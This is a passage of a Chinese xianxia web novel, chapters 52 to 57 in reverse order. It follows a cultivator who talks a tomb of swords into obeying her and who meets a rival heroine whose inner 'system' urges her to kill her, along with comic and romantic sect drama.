“还是万古宗装不下你这尊大佛了?” 帝隐:“……” 此人正是北帝尊,如假包换,雪白的面颊同样顶着一道长长的血痕。 他薄唇微抿,“剑尊。” 花不休挥袖将桌案齑粉拂他和云为泽脸上。 “可不敢当。” 云为泽觑他周身凉意,硬着头皮,心虚地摸出一套茶盏,添茶,“你,怎么来了?” 花不休微微偏头,眼角眉梢挂着一抹若有似无的笑意,一副温和潇洒之色,眼底的冷色却让云为泽有些坐不住。 意味不明的几个字,轻飘飘砸他脸上,“你觉得呢?” 帝隐瞳眸微黯。 云为泽没说话,垂下眼帘,不看凤仪剑尊,也不看北帝尊。 花不休瞧着两人的反应,一侧唇角勾起凉意,指尖漫不经心的抚过衣袖,将那丝褶皱压平了。 “我那小徒儿金贵之躯,可做不来什么扫地的粗活,北帝尊若要人伺候,就且滚回你那巫云殿。” 这话说的半分不客气。 又缓缓乜向云为泽,一字一句,“帝尊,您说呢?” 眼睛里分明写着,你等死。 云为泽:“……” 通常情况下,他哥但凡喊他帝尊时,那么,接下来,必有一场恶战。 “咳,自然的。” 此事,他理亏。 他也正有此意。 帝隐低着睫毛,自始至终未掀一下。 搁在膝头,掩在雪袖中的手指却是缓慢屈起。 晚晚,认出他了。 花不休勉强出了两分气,兀自起身一步踏空离去。 走时,悠然留下两句格外温和的话: “云为泽,今晚睡觉,记着睁眼。” “北帝尊既然有这般闲情逸致,那便寅时陪吾过上几招。” 帝隐:“……” 云为泽:“……是。” 默默将茶盏搁下,双手拢于袖中,逐客,“何时走?” 江献晚分明对帝隐没意思。 他再待下去,凤仪剑尊能把太虚宗平了,再把万古宗平了。 帝隐缓缓侧眸,视线越过重重云雾,落在灵气缭绕的凤仪台。 江献晚,当真对他没一点什么? 他起身,哪里还有半分沉静之色。 他这一走,云为泽有些不安。 帝隐该不会去找江献晚了吧? 他哥还不闹死。 云为泽猜的没错。 江献晚沐浴后,准备盘膝打坐,门就响了两声。 以为是花不休去而复返,穿上外裳,打开了门。 她微微一愣,下意识的退后。 第 57 章 倒贴钱的小倌 察觉江献晚语气不对,风回雪哄了江行行去抓鸡,背过身,压低声音询问,“出了什么事?” 江献晚将林轻染的体态特征描述了一下,“你碰到的那个女子,是她吗?” 风回雪忍不住拧眉,“是,同你说的分毫不差。” 又忙追问,“怎么回事?你见到她了?” 江献晚没有回答这个问题,声音没有丝毫波澜,“风回雪,还记得我跟你说的景长老吗?” “记得,怎么了?” “景长老就是北境帝尊。” “你说什么?”风回雪豁然起身,意识到接下来的话可能会更叫他难以忍受,咬牙,“晚晚,你想说什么?” 江献晚沉吟须臾,平静的道:“我在万古宗做了一年炉鼎,行行……是他的。” “他的?” “什么叫他的!” 风回雪回头看了一眼抓鸡抓的不亦乐乎的江行行,大步走到几米外的大树下,低吼出声,“江献晚!” “你说行行是谁的!” “我扒了你的皮!” 江献晚立刻道:“你的!是你的!” 死狐狸只要一提到江行行的抚养权就炸毛。 “行行不能叫他知道,风回雪,你给我带着行行老老实实待在妖域!” 风回雪闭了闭眼,坐到凸起的老树根,一双狐狸眸渐渐洇红,“江献晚,我要知道全部,全部,包括你的想法,还有,行行是我的。” “是,行行是你的,我知道,不是,怎么还哭了,好了好了,你好歹听我说完。” 江献晚低三下四,好话说了一箩筐,终于哄的狐狸勉强一笑。 “说吧,他隐瞒身份是什么意思?” “我暂时看不出来,应该是好奇我现在的生活。不过,林轻染是炉鼎体质,她的灵泽之露是北帝尊为她求来的。” “风回雪,你懂我的意思吗?总之,我不想同林轻染有牵扯,我也不会让行行认他。” 风回雪最在乎最后一句,“我知道了。” 顿了片刻,扭捏着又问,“他身份尊贵,晚晚,你真的……” 江献晚截住他的话,“你就不比他尊贵了吗?” “那倒是。”风回雪狐狸眼眯起,似有凉意蔓延,“天凉了,妖帝该退位了。” 江献晚:“……”默默打了个激灵。 有点冷,怎么回事。 “你少理他,给我离他远远的,他八成和那个林轻染有一腿!赶紧想办法让他们都滚蛋!” “收到!” “等我干倒了天狼王和妖帝,接你过来。” “收到收到!” 江献晚这会儿哪敢触他霉头,头点的跟小鸡啄米似的。 又被风回雪耳提面命凶了好一会,头都大了。 接下来,倒是真要想想,如何弄走这两个大麻烦。 江献晚还没想出什么好办法,花不休骂骂咧咧敲开了她的门。 江献晚狐疑地上下瞅他一眼,“没事大白天洗什么澡?” 花不休显然新浴未久,松挽在肘腕的发丝还洇着濛濛水汽,一屁股坐到椅子上,指尖嫌弃的粗鲁抚过微微潮湿的墨发。 “孽徒,我觉得你说的没错。” “啊?” 花不休这会儿格外暴躁,“我抬脚方进太草峰就被绊了一跤,出来又被兜头泼了一盆洗脚水。” 他竟然没躲开? 笑话! 他堂堂剑尊,何等修为,会躲不开? 江献晚关注点歪了歪,“洗脚水?大白天洗什么脚?” “谁说不是!”花不休脸色隐隐泛青,似乎恶心的恨不能原地死一死。 “我觉得你说的好像是那么回事,那小姑娘离我越近,我越觉得瘆得慌,我看她也克老子。” 江献晚:“……”这她,还真是没想到。 “那个,师尊,您觉得她漂亮吗?” “滚!”花不休眼睛一瞪,眉心火流纹愈发滟丽,“别逼我扇你。” 他活这么大,什么好看的姑娘没见过。 “她是天阴圣体,天品水灵根,总觉得哪里怪怪的。” 江献晚讶然,“您能看出来?” 花不休没好气道:“为师这一身修为是拿来让你看的吗?” 他忽然抬头,一双墨黑的眼眸静静的看着她,“死丫头,为师从不问你从前的事,不过,打见到她,我总觉得心慌,你告诉我,你之前在万古宗,是不是与她有什么过节?” 是不是离开万古宗,离开北境,亦与她有关。 “不是。”江献晚摇摇头,“我今天第一次见她。” 花不休瞳孔微微一闪,不知该不该继续问下去。 却见江献晚双腿一弯,跪在了他脚边。 花不休睫毛轻颤,双唇紧抿,眼底错愕与痛意交织,心绪随着这一跪,纷乱如雨。 根根修长的指节猝然捏紧了圈椅扶手,那握惯了剑的五指,素来不动如山,此刻却难以遏制的微微颤抖着。 “江献晚。” “师尊。” 江献晚有些紧张,雪膏似的颈子低折,乌发沿着侧颈淌落,露出纤白而脆弱的颈线。 花不休哪里见过这皮猴子恹恹的样子,在他看来,天塌了,地崩了,江献晚都能没事人一般,上蹿下跳。 他那双清减的眼瞳,第一次浮现出割裂般的愠色,睫毛轻轻一阖,“你是不是。” 被旁人欺负了? 江献晚无意识的将青衣攥出深深的褶皱。 北帝尊找上门了,女主也上门了。 “我有两件事想晚些跟您说,我先说别的事。” 她这几日心中很乱,自己隐瞒风回雪和江行行的存在,事干的那叫一个缺德。 江献晚抬眼弯唇一笑,花不休瞧着她半分不露异常的模样,指骨几乎要将扶手捏碎。 “徒儿在万古宗给人做过一年炉鼎。” 饶是心中早已有猜想,见江献晚这么眼含笑意,风平浪静的道出,花不休无声抿紧了唇,剧烈波动的双眸渐渐汲上一层猩红之色。 “后来,我就跑了。” 她讲的轻松,就像是在说今天吃了什么。 花不休垂眸阖目,眉心火流纹似跳荡着徐徐涨涨的猩红火光,只模糊的听到自己干涩的声音。 “是谁?” “北帝尊,我离开万古宗后才知道的。” “北帝尊。”花不休缓缓重复,显出极端紧绷的下颌线,指尖压的泛白,连淡青色的脉络都凸浮出来。 “是,他身染秽气,迫不得已与我双修。” “我,我……” 我被一只鸡打吐血了,差点死了,就愿意了? 这话她自己听着都好笑,江献晚有些无措,一时哑口无言。 她本不在乎黑历史。 花不休会厌恶她吗? 或者,后悔收了她做徒弟。 花不休阖了阖眸,眼角戾气微薄。 云为泽敢瞒他这么重要的事,简直该死。 他不言不语,使得那张滟稠的美人面略显阴沉。 却不是因为她做了一年炉鼎。 “那个什么景长老,你不许再去。” 花不休知道景长老的身份,江献晚并不奇怪,没说话,无声应下。 花不休提拎起她,直直的看进她眼中,“你是不是早就猜到是他了?” 所以才会告诉他以前的事。 第 56 章 不要喜欢她 从跟着徐燕州,去见女主途中的那一刻开始,先是被一头浑身长着尖刺,从草丛中窜出来的小兽,笔直的撞到小腿。 诡异地是,她竟然没躲过去? 笑话。 她会躲不过去? 殿中时,她明明要绕开那鼎伸着尖喙的铜仙鹤,却没绕开,反而被狠狠扎了手臂。 就现在,又被同门弟子撞的鼻血两行,她只是下意识挪了一下脚,就崴了?! “江师妹,你、你不要紧吧?” 裴长安看的咋舌,他还从来没见过如此倒霉的体质。 林轻染眼露关切,递给她一块帕子,体贴道:“江师妹,你先擦一下。” “谢谢,我这有。”江献晚礼貌的回绝了她,自若的掏出帕子,默默绕开林轻染,调整位置。 匆匆带他们四人去了太草峰,并将带他们去客房的任务拜托给其他弟子,而后拔腿离开。 江献晚此时可谓是惨不忍睹,顶着湿漉漉的头发,一出太草峰,单脚蹦跳着坐到一块平整的石头,脱了鞋袜,脚腕肿的那叫一个嚣张。 再往上卷起一些裤脚,白皙的小腿赫然一片尖刺扎出来的伤口。 那只小兽的尖刺有轻微毒素,周围的皮肤逐渐乌青,发麻。 没大碍,只是看起来有些惨。 她涂了些解毒的药膏,又掏出一瓶活血化瘀的药膏在掌心化开,忍着痛意去揉脚踝。 前来太草峰的花不休,一见江献晚狼狈的模样,立刻大步走过来,“怎么回事?” 这皮猴子整日跟着苏清流他们三个在泥里打滚都没事。 不就是送了几个万古宗的弟子,脚怎么肿这么高,腿怎么也受伤了,连头发衣裳,都像是被水泼洗一般。 “你洗澡了?” 江献晚无语。 她没事跑人太草峰洗澡? 委屈巴巴地告状,“师尊,他们克我。” 花不休没笑,更没骂她胡说。 屈下身子,接过她手中的药膏,轻攥上江献晚的脚踝。 “展开说说。” 修真界没有女子的脚不能随便给别人看的封建思想,是以没什么不正常。 江献晚痛的连连倒吸冷气。 “徒儿还没见到他们就开始倒霉,路上被一只长着尖刺的兽撞了腿,殿中被扎了手臂,又被一个弟子撞的流鼻血,还崴了脚,刚才在太草峰的时候被迫洗了个澡。” 她嗓音那叫一个忧伤,表情那叫一个怀疑人生,恹恹的撸起袖子,露出雪白皮肤上仍洇着血的伤口,怼他眼前。 花不休蹙眉,握上她的手腕,掌心灵力涌动,贴在那有些深的伤口,先止血。 而后垂落半扇睫毛,指腹药膏在那截纤细的小臂轻轻化开,又重新握上她足踝,搁在自己膝头。 “你别管了,让其他弟子去做,这几日他们应当会留在太虚宗休养,你躲着他们些。” 江献晚一边深深吸气,点点头,“师尊,你怎么来了?” “还不是你掌门师伯,央求我过来看看,几个弟子,有什么好看的。” 江献晚死死盯着花不休那张风流妖滟的面庞。 他纤长的睫毛静静的垂着,眉心一痕火流纹更趁其风姿,丝绸般的发丝垂在肩上。 这会儿面容无端柔和,似含着蕴藉而莹白的珠光,与自然流露的艳色交织在一起,勾魂夺魄而不自知。 她心中突地咯噔一声。 不会吧? 花美人不会也是十八位美人图鉴中的一位吧! 江献晚觉得很有这种可能。 毕竟,只要女主出现的地方,定然少不了男主。 一个激灵,扯了花不休的衣袖,“师尊,我跟您说件事成吗?” 花不休将视线挪到她脸上。 见她认真的模样,莫名生出一种江献晚接下来的话,很重要。 他声音清缓而富有磁性,让人有种很心安的感觉,“你说,为师听着。” 江献晚观他反应,心中稍定,语气郑重而严肃,“离那个叫林轻染的弟子远一些,她再优秀漂亮,您都不要喜欢她。” “孽徒说什么呢!” 花不休气笑了,屈指弹她脑门,“我多大了,去喜欢一个小辈!” 心里,却诡异地记住了江献晚的话。 “你该不会觉得,你倒霉是跟她有关?” 江献晚捂着头,眼泪汪汪,“徒儿如果说是呢?” 她以为她第一面就莫名针对人家,花不休怎么都要责她骂她的。 没成想,花不休一点头,“放心,为师不是那样的人,不理她就是。” 江献晚挑眉,有点不信,“真的?” “怎么,还要为师给你发誓不成?” “也不是不行。”江献晚脱口而出。 毕竟,话说的再满,万一待会看对眼,稀罕上了呢? 花不休毫不犹豫照她脑袋上来一巴掌,顺便烘干她的头发衣裳。 “孽徒!滚回去!” 说罢,把她脚丫子套上鞋袜。 “能自己滚吗?” 江献晚撇嘴,“要是不能呢?” 花不休瞪她一眼,还是将后背露给她,“死丫头真麻烦。” 嘴上嫌弃,动作小心。 难得花美人有如此师尊风范的时候,江献晚立刻圈上他脖颈,“师尊,您现在不去给他们疗伤?” “死不了,那些弟子是吃白饭的吗?大胖丫头,你吃什么了,这么重!” “我哪里重了!师尊,你是不是不行!” “孽徒!为师撕了你的嘴!” 两师徒吵吵闹闹一路,花不休把江献晚丢在床上,骂骂咧咧离开。 他还就不信邪了。 将两人对话尽听于耳的两个男人再次沉默。 帝隐眉心拧出一丝浅淡的痕迹。 江献晚躺在床上,盯着头顶床幔看了一会儿,掏出玉简联系风回雪。 她觉得此事很有必要跟风回雪通个信。 彼时,江行行膝头上正蹲着一只五颜六色的大公鸡,听到江献晚的声音,鸡都扔了,呜呜咽咽娘亲娘亲的叫,伸手要抱。 风回雪将他抱在膝头,心疼地不得了,“行行乖,待会娘亲会心疼躲被子哭的。” 江行行强忍着快要掉出来的泪花,认真道:“行行不闹,娘亲别哭。” 江献晚本来没打算哭的,一个没忍住,鼻子一酸,“不哭不哭。” 两人又是哄又是逗,逗的江行行咯咯直笑。 风回雪松了口气,“晚晚,灵泽之露用过了,他没什么大事,我和儿子过几日就回去。” “别。”江献晚果断拒绝,“你们先在妖域待着,我跟你说件事。” 第 55 章 初见大女主 江献晚跟在徐燕洲身后,视线一扫穿着万古宗亲传弟子服饰的四人。 林轻染。 别问她怎么知道。 那一身惹眼的雪色弟子袍,云鬓花颜,头戴步摇的少女,一举一动,端的风姿绰约,出尘无双,自带光环。 而其中那位领头的少年,她在万古宗见过几次,雾渺的唯一亲传弟子,裴长安。 林轻染像是看了一眼江献晚,又像是没看,不卑不亢跟着同行的三位师兄行礼。 裴长安有些不好意思,“擅自登门,给您添麻烦了。” “什么麻烦不麻烦。”徐燕洲摆摆手,走到那位面色惨白,整条臂膀软软垂落的弟子跟前,察看一番,“余毒未清,内伤有些严重,手臂也断了,需要养些时日。” “你们这是出了什么事?” 裴长安面皮一红,“说来惭愧,昨天与人交手,就成了这样。” “身上的灵药用尽,想着离太虚宗近,便擅自登门叨扰,倒是让师伯见笑了。” 他没好意思说实话。 一来,各大宗默契的给自家弟子定下一条规矩—— 不可出入黑市。 二来,疗伤的灵药和全部家当,都在芥子囊中,而芥子囊……在黑市打完擂台被人摸走了。 浑身上下,除了各自的老婆,他们现在连一块灵石都掏不出,更别说买灵植丹药,只能厚着脸皮就近来了太虚宗。 当然,这种丢脸丢份的事,打死他,都不能讲。 徐燕州眸光微微一动,面色不显。 与人交手他信。 至于灵药用尽? 这事搁几个亲传弟子身上,就是各个碎成八十瓣,都没可能随身携带的灵药不够。 “难免之事,什么笑不笑,只管留下安心养伤。” 徐燕洲哪里看不出年轻人的弯弯绕绕,自然不会多问,见三个男弟子都带着或轻或重的伤,对江献晚招手。 “晚晚,你带他们先去太草峰,再令弟子安排几间客房。” 江献晚点了点头,转朝着裴长安几人道:“各位道友,请随我来。” “那便麻烦江师妹了。”裴长安笑道。 云为泽望着一行人,一双烟岚般的墨色瞳眸轻轻眯起,“那个需要灵泽之露的女弟子。” 不是疑问,是肯定。 帝隐蹙了蹙眉,不在意的嗯了声,眸光定定的落在江献晚身上。 云为泽若有所思。 不知是不是他的错觉,自从这四位万古宗弟子出现,江献晚似乎……倒霉了一些。 裴长安几人礼貌的道了姓名,江献晚神色如常,礼貌回应。 只是到了两个少女互相介绍,两双目光交汇一瞬。 “你确定?这个丑八怪是?”林轻染表面维持着无懈可击的笑容,在心中暗自询问系统。 系统嗤声反驳,“什么丑八怪,那胎记是假的。” 闻言,林轻染唇角慢慢僵住,“假的。” 目光不动声色落在江献晚脸上,有一瞬间的错愕。 这副容貌,胎记看似恐怖,也能隐约瞧出多么的有攻击性。 与她温婉的气质不同,张狂,明滟,冷漠,却占尽风色。 那若是没了这些痕迹。 林轻染缓缓吸了一口气。 却听系统声音有些凝肃,“她是琉璃玉骨,变异冰灵根,比你的灵根体质高出不止一个等级!” “而且,她的修为比你还要高一阶!” 林轻染不淡定了,“你确定?她怎么可能比我这个大女主还要厉害?” “你是不是看错了!” “你是在怀疑我的能力?” “别怪我没提醒你,你最好早些杀了她,以防变数。” 林轻染呼吸急促,五指陷在掌心,勉强压下心底连番被打击到的不痛快,想也不想,立声道:“我自然会杀了她的!” 宁愿错杀一千,也绝不能留着这个很有可能阻碍她飞升的变数! “你神魂受创,根基还未彻底恢复,你修为比不过她倒罢,她人在太虚宗,想杀了她也绝非易事。” 说到神魂受创,林轻染变得格外烦躁,“还不是因为你我神魂才会受创?还非要我拖着!现在又监测出个什么变数!不是说我才是独一无二的大女主吗?” 系统冷冷一笑,“胡搅蛮缠!说到底还是因为谁?若不是你胆小,抗拒我的绑定,挣扎的跟头过年被宰的猪似的,我们怎会掉入空间缝隙!” “这两年你除了点亮两个美人图鉴,不只帝隐,风回雪竟然都能让他跑了!废物!” 林轻染咬着唇,想到这里就气闷。 她突然被这个叫什么系统的鬼东西绑定,一不小心跌入空间缝隙,神识受到重创。 为了走获取帝休之果,无偿赠给风回雪的剧情,系统明明可以夺取他人的灵根为她彻底修复,还要她拖着。 原本依照系统所说,她随口一句,帝休之果轻轻松松到手。 可她根本就没有像系统讲的那样,既未被北帝尊收在座下就算了,至今连面都没见到过一次! 她央求雾渺多次,他才磨磨蹭蹭去了巫云殿。 帝休之果虽没求来,好在终于赶上剧情,弄来了灵泽之露。 谁知道,她死命跑到妖域边界,风回雪那个缺心眼的蠢货,根本不要! 还让她赶紧滚,有多远滚多远! 要不是风回雪这里又出现了变故,他们还察觉不到。 “你能看清她的来路吗?” 系统亦是烦躁不安,“看不出,方才我尝试检测几次,都被一团浓雾挡了回来。” “检测不出?怎么可能!”林轻染顿时急了,“她该不会和我一样,也是天道闺女吧?” “不知道,但不排除这种可能,所以,她不能留,我隐约觉得她将会是个很大的变数。” “杀了她!” “我可以帮你取了她的灵根,化作你的养料!” 林轻染连番受挫,看着面前那青衣少女,双眼戾气一闪而逝。 勉强拉回心思,结束了与系统的短暂对话,朝江献晚友好的弯唇轻笑。 “听说凤仪剑尊收了四位弟子,今日一见,我对师妹竟有种亲切的感觉。” 先拉近距离,再背后捅刀。 这事,她熟练。 江献晚神色有些古怪。 一手捂着鼻子,对冒冒失失撞到她身上的弟子,打了个没事的手势,在四人猛地呆滞的目光中,堵了鼻血。 这女主,似乎……有一点点克她? 第 54 章 熄个灯 “对!就是这样!”江献晚将手中铮然自动拔出的剑,一挥,剑尖斜指苍穹,“这才是我太虚宗的剑!” “剑之代表!剑之领袖!剑中之剑!无上至剑!” 正在剑窟感悟剑意的弟子长老:卧槽!剑意怎么忽然变得更强更恐怖了! 云为泽:“……” 帝隐:“……” 默默观望的掌门:“……” 江献晚又演讲了半个时辰才从山包上跳下来,口干舌燥。 “各位前辈,今日太晚了,先讲到这里,你们把剑意收一收哈,怪亮的,我们下回再叙!” 说罢,神清气爽地迈开一步。 然。 剑不动,不让。 江献晚:“……?” “前辈?” “我得回家喝水了。” “明晚成不?我还来。” 剑:再玩一会儿。 江献晚唇角一抽,“太晚了。” 剑装聋。 就不让。 江献晚只好将无辜地目光投向还没走的花不休,声音拐了八个弯,“师尊尊~” 花不休歪头朝她妩媚一笑,“好徒儿,晚安安~” 说罢,阔袖一甩,翩翩然离去。 孽徒活该! 江献晚:“……” 江献晚跟剑谈判半天,实在累极,瘫在地上。 望着头顶密密麻麻的剑意,脑瓜子直抽抽,“要不,咱们先熄个灯。” 看来只能等花不休消气来把她拎出去了。 剑齐刷刷装死。 这可是最完美最强悍的剑意! 她竟然不想看! 方才还嘚吧嘚吧夸它们。 死丫头,变心真快! 不熄! 江献晚只好闭上眼睛。 只是这灯……这剑意太闪了,隔着眼皮子都在闪,眯了一会儿,受不了,再次爬起来。 当然,两位帝尊也不会去拎她,默契的推来棋盘,一边品茗,一边下棋。 商量半夜,江献晚撑不住,迷迷糊糊睡去。 等她一觉睡到天明,心酸的发现,花美人没来,更没有任何人管她! 昨晚明明那么多弟子都看到了,掌门不可能不知道啊! 太过分辣! 紫色劫雷倒是过来晃了两圈,一见她蹲在剑冢,气急败坏的朝她比了个中指……又气急败坏的走了。 就这样,怀疑人生的又蹲了一日,江献晚终于受不了。 她扫过仍悬在头顶的剑意,再次发表演讲,试图哄剑让条路。 然,剑也不理她了! 第三晚,江献晚发现又嗖地一下,凭空出现的紫色劫雷,仿佛看到失散多年的亲人,激动的直摆手,“小紫!你不是想劈我吗?过来!快!劈死我!” 小紫冷冷一抖,走了。 它是想劈她。 但它脑子没病。 江献晚:“……” 她双手交叠在腹部,望着漫天璀璨星辰随着一片剑意,嘲讽似的对着她闪,终于绝望地接受了她无人问津、无助可怜的现实。 “你们好歹先把灯熄了啊!” 谁头上悬着这么多剑意能睡着! 江献晚躺了会儿,挺身坐起,从芥子囊翻半天,找出一个溜圆的轮盘。 双眸一阖,开始抓剑意。 不熄是吧? 那就别怪她不客气了! 堪堪触碰到剑意,神魂便传来撕裂的痛感。 她强忍着,以神识缠上一道剑意,粗暴的往轮盘里塞。 “好歹一起睡了三天,给个面子,乖一点了。” “不想进来?那不行,这么完美强悍的剑意谁不想要啊,我还能时不时拿出来瞻仰一番。” “是吧?我说的没错吧?” 江献晚嘚吧嘚吧,边给剑洗脑,边操控神识吸过来一道剑意。 刚开始速度极慢,后来速度大大提升,跟抓小鸡似的,一抓一个准。 道道剑意被她粗暴的塞进轮盘,挤压。 两个还在下棋的帝尊在她抓到第一道剑意时,便停下动作,望向后山。 江献晚越抓越上头,可着劲往里塞,顶在指尖的轮盘缓缓转动,似流旋着无尽星光。 一道道剑意硬是被她塞了进去,开始打起架。 眼看轮盘剧烈摇晃,里面打的不可开交,有崩溃之势,江献晚声一沉,“别闹,大家都是同事,这样子被别的宗门的剑看见,岂不是看我们笑话。” 正打的放纵,谁也不服谁的剑意还真停了下来,有些甚至不等她来抓,就兴冲冲的自发钻进去。 多热闹啊。 望着那晕散着银色光芒的轮盘,云为泽表情终于不复平静,讶然道:“一件绝品灵器,就这么被她塞出来了?” 帝隐:“……是。” 一个融合了成百上千惊艳剑意的星轮。 江献晚真的是……很优秀。 忙碌了一夜的江献晚也觉得自己很优秀,抹了一把汗,满意的看着自己的杰作,指尖轮盘慢悠悠地转啊转。 银色光芒随着轮盘转动而倾洒,映的将明的天色潋滟而梦幻,亦映的少女一双眸子熠熠生辉。 “漂亮!” “完美!” “好看!” “喜欢!” 剑:……算了,她说她喜欢! 埋在地下不知多少岁月的剑,剑身闪了闪,发出一道微弱的剑意。 江献晚指尖的轮盘刹时一止,挤来挤去的剑意猛地安静如鸡。 她没发现什么不对,欣赏了半晌,准备拍拍屁股走人。 掌门不可能不知道,因为剑冢的结界不知什么时候已经补好了,明显是不想搭理她。 总不能待在剑冢一辈子吧。 江献晚蹲在地上,摸了一会儿结界,试探道:“芝麻开门?” 云为泽:“……?” 却见江献晚思索片刻,起身,蹭蹭后退十米,作出冲刺的姿势,惹的剑纷纷来看,还有几把学着她的样子,跃跃欲试。 云为泽:“……” 她该不会觉得撞一下就能撞……! 江献晚一个猛冲,圆润地从结界中滚了出来,因冲的太猛,滚了几个跟头才停下。 结界并没有破裂,缺口迅速自动闭合,跟在她屁股后的那几把剑弹了回去,委屈地贴回结界上,直嗡嗡。 云为泽指尖一颤,神色有几分错愕。 他亲手布的结界,自觉的给江献晚打开了一道缝隙? 帝隐侧眸觑他,手指难耐的一动……想打人。 始作俑者顶着乌黑的小脸,意气风发抬腿离开。 走到半路碰到神色匆匆的徐燕洲,打了个招呼,“掌门师伯。” “是晚晚啊。”徐燕洲爽朗的笑了笑,摆摆手,“正好你出来,跟我去看看。” 江献晚只好转脚跟上。 她绝对想不到,会在这么猝不及防的情况下见到女主。 第 53 章 给剑洗脑 轰—— 江献晚‘浮光掠影’身法运用到极致,嗖地一下,麻溜一滚,劫雷几乎擦肩而过。 “你妹!” 劫雷劈了个空,愣了愣,又因她的话有些走神。 好端端的说它妹干啥,它妹给家睡觉呢。 还有,这死丫头片子怎么躲得这么快? 属猴子的么! 再次瞄准江献晚。 有种别躲! 又是一道劫雷劈头盖脸砸下,江献晚反手掷出一口铁锅。 刹那,锅碎成无数渣渣。 紫色劫雷:……卧槽? 江献晚:“卧槽!” 挂在树梢的花不休:“……” 江献晚一声卧槽,拔腿就跑,紫色劫雷反应过来,蛇似的扭成麻花,跟上! 于是,潋浮台凉亭的两个帝尊,便看到那道陷入癫狂的劫雷,走位风骚的江献晚。 还有连续不断碎成渣的大树巨石,跟俩疯狗拆家似的,一路火花带闪电。 所到之处,寸草不生,一个坑接着一个坑。 紫色劫雷一连劈歪几十次,感觉电量有些不足,气的张牙舞爪,直接一个暴走。 死丫头,你给我站住! 轰—— 电光火石之间,江献晚咻地蹿到一棵大树下。 花不休:“……?!” 江献晚! 你这个倒反天罡的孽徒! 挂在树梢上悠哉悠哉看戏的花不休指尖一哆嗦,口中慢慢吐一缕黑烟。 “江、献、晚!” 江献晚小脸乌漆麻黑,扭头嘿嘿一笑,“师尊尊,您真是一个大好人!” “好你妹!” 有这么坑师尊的么! 孽徒! 紫色劫雷:…… 气的直哆嗦。 癫狂的将自己扭成两个字:别跑! 看见这一幕的弟子,都惊呆了。 别跑? 还特么能这样? 还有,这劫雷怎么比之前劈的还疯? 江献晚不跑才怪! 大脑转的飞快,望向远处插在石壁,躺在地上,挂在树梢,各种千奇百怪姿势的剑,眼前一亮,毫不犹豫狂奔过去。 紫色劫雷铆足了劲,再次精准劈下。 透明的结界随着巨大的轰鸣声咔嚓破碎,江献晚就地一滚,麻溜滚进了剑冢。 云为泽:“……” 轰—— 又是一声,剑冢一阵地动山摇! 伴随着一声巨响,劫雷分作无数电蛇密密麻麻落下。 剑冢顷刻间……沸腾。 成百上千把的剑被雷劈醒,一时间剑吟齐鸣,剑身光芒五彩缤纷、姹紫嫣红,映的整个剑冢活像一个大型蹦迪现场。 剑:……卧槽! 紫色劫雷:……卧勒个槽!能再不要脸些吗? 花不休:……这是人能干出的事? 江献晚再次完美避开。 她利落的爬起来,拨开面颊乌发,看着悬挂在半空,仿佛在怀疑人生的紫色劫雷,甜甜一笑,“呀?怎么细了?还劈吗?宝?” 谁是你的宝! 紫色劫雷再次扭曲成三个大字,外加一个凶狠的符号:你等着! 气势汹汹,愤然离去! 回家充电! 江献晚:“……”怎么还急眼了。 玩不起。 “晚安!” 紫色劫雷:晚你个头! 见它气的一溜烟跑掉,江献晚得瑟的迈出一步,准备离开。 只是,待看到一群浮空对准她的长剑,心虚地倒退两步。 “那个,我要说我不是故意的,你们信吗?” 剑:你猜我们信不信? 它们睡的好好的,被劫雷强行劈醒,这算什么? 算它们倒霉,还是算它们活该? 铺天盖地的剑气的直嗡嗡,剑身更是走马灯似的闪烁个不停。 看起来怪吓人的。 江献晚沉默三秒,“信……吧?” 嗡嗡嗡! 嗡嗡嗡嗡嗡嗡嗡嗡嗡! 江献晚弱弱地往左一步。 一群剑跟着往左。 江献晚往右。 一群剑跟着往右。 一人一群剑跳了会儿探戈,江献晚累的一屁股坐在地上,“好吧,我承认我是故意的。” 剑顿时嗡的更厉害了。 卑鄙小人,你终于承认自己的错误了? “可你们难道就没有错吗?” 剑:……? 它们有什么错? 错在待在剑冢? 错在遇到这个黑心肝的? 还是错在它们是一群无辜可怜的受害者? “你看哈。”江献晚随手抓过来一把剑,在地上写写画画,“各位剑前辈请看,左边是剑窟,后边是剑窟,这里是剑冢。” 剑:所以呢? “剑窟是各位前辈留下的剑意,我总不能毁了你们的心血。” 剑:不想毁了它们的剑意,难道想直接毁了它们吗?还有,那里不是还有一条? “这一条虽然是路,但是!”江献晚表情一下子变得肃然,“我总不能连累各位无辜的同门。” 剑:所以就能连累无辜的它们? 你方才明明也连累了一个人啊! “啊,你们说那个啊。那个被雷劈的是我师尊,他活该。” “当然,我不是说你们也活该,而是,弟子们都还年轻,经验不足,可你们厉害啊!” 说着说着,江献晚激动起来,“你们想想,能待在太虚宗,待在帝尊眼皮子下的剑多么的优秀!多么的万里挑一!” 剑齐刷刷点头:这话倒说的不错。 但这也不是你能伤害我们的理由吧? “是吧?不错吧?”江献晚装作看不到它们的反驳,睁着一双无辜地大眼睛,继续激动输出,“所以,我就想着诸位厉害啊!就来了,还真被我瞻仰了一番前辈们的独世风姿!” 她一抱拳,正色,“各位前辈对我有再造之恩呐!” 剑沉默了,随后齐声嗡鸣。 是的! 它们就是这么的厉害! 而神识笼罩着剑冢,将这一幕尽收眼底的两个帝尊,陷入长久沉思。 剑先是杀气凛凛,又是点头,一会儿肃然的竖起剑身,跟有病似的。 江献晚越说越精神,发足越上山头,“这是雷吗?这是我对诸位前辈的信任!对诸位前辈的肯定!对诸位前辈的期待!” “一道劫雷而已,别说一道,我知道就算是一百道诸位前辈也行!” 少女猛地高举手中随手捞过来的长剑,“我们太虚宗的剑,就是最强的剑!” 嗡—— 无数道剑光霎时光彩大放! 各种璀璨的颜色冲破夜色,直奔云霄,照亮了整个太虚宗! 激情开麦的江献晚一愣。 不是,她才说了几句,这群剑就信了? 还有,为什么突然间有这么多剑意悬在她头顶? 剑显然被她说兴奋了,齐齐自动出鞘,自展最强完美剑意,比美似的,纷纷要她看。 它们,就是这么强! 第 52 章 没良心的小劫雷 女主若是知晓自己的男人跟别的女子有了儿子,恐怕此事不会干休,帝隐又会如何做? 江献晚管不着女主收几个,谁若要来为难他们母子,谁就是她的敌人! 江行行不差爹! 她垂着眼帘,眼底透出一丝狠辣的冷色。 平静的日子,终于要到头了吗? 女主要起飞。 看来,有些事早晚躲不过。 那不如,一见。 管他帝隐是什么北境帝尊,管她什么女主不女主。 江行行不是污点,江行行是她和风回雪放在心尖尖上的明珠! 此时,江献晚境界松动的愈发剧烈,周身灵力控制不住沸腾躁动,唇角弧度一点点收敛。 她从水榭出来的第一日便有些压不住灵力,原本想等师兄们从剑窟出来再突破,顺便得瑟得瑟的。 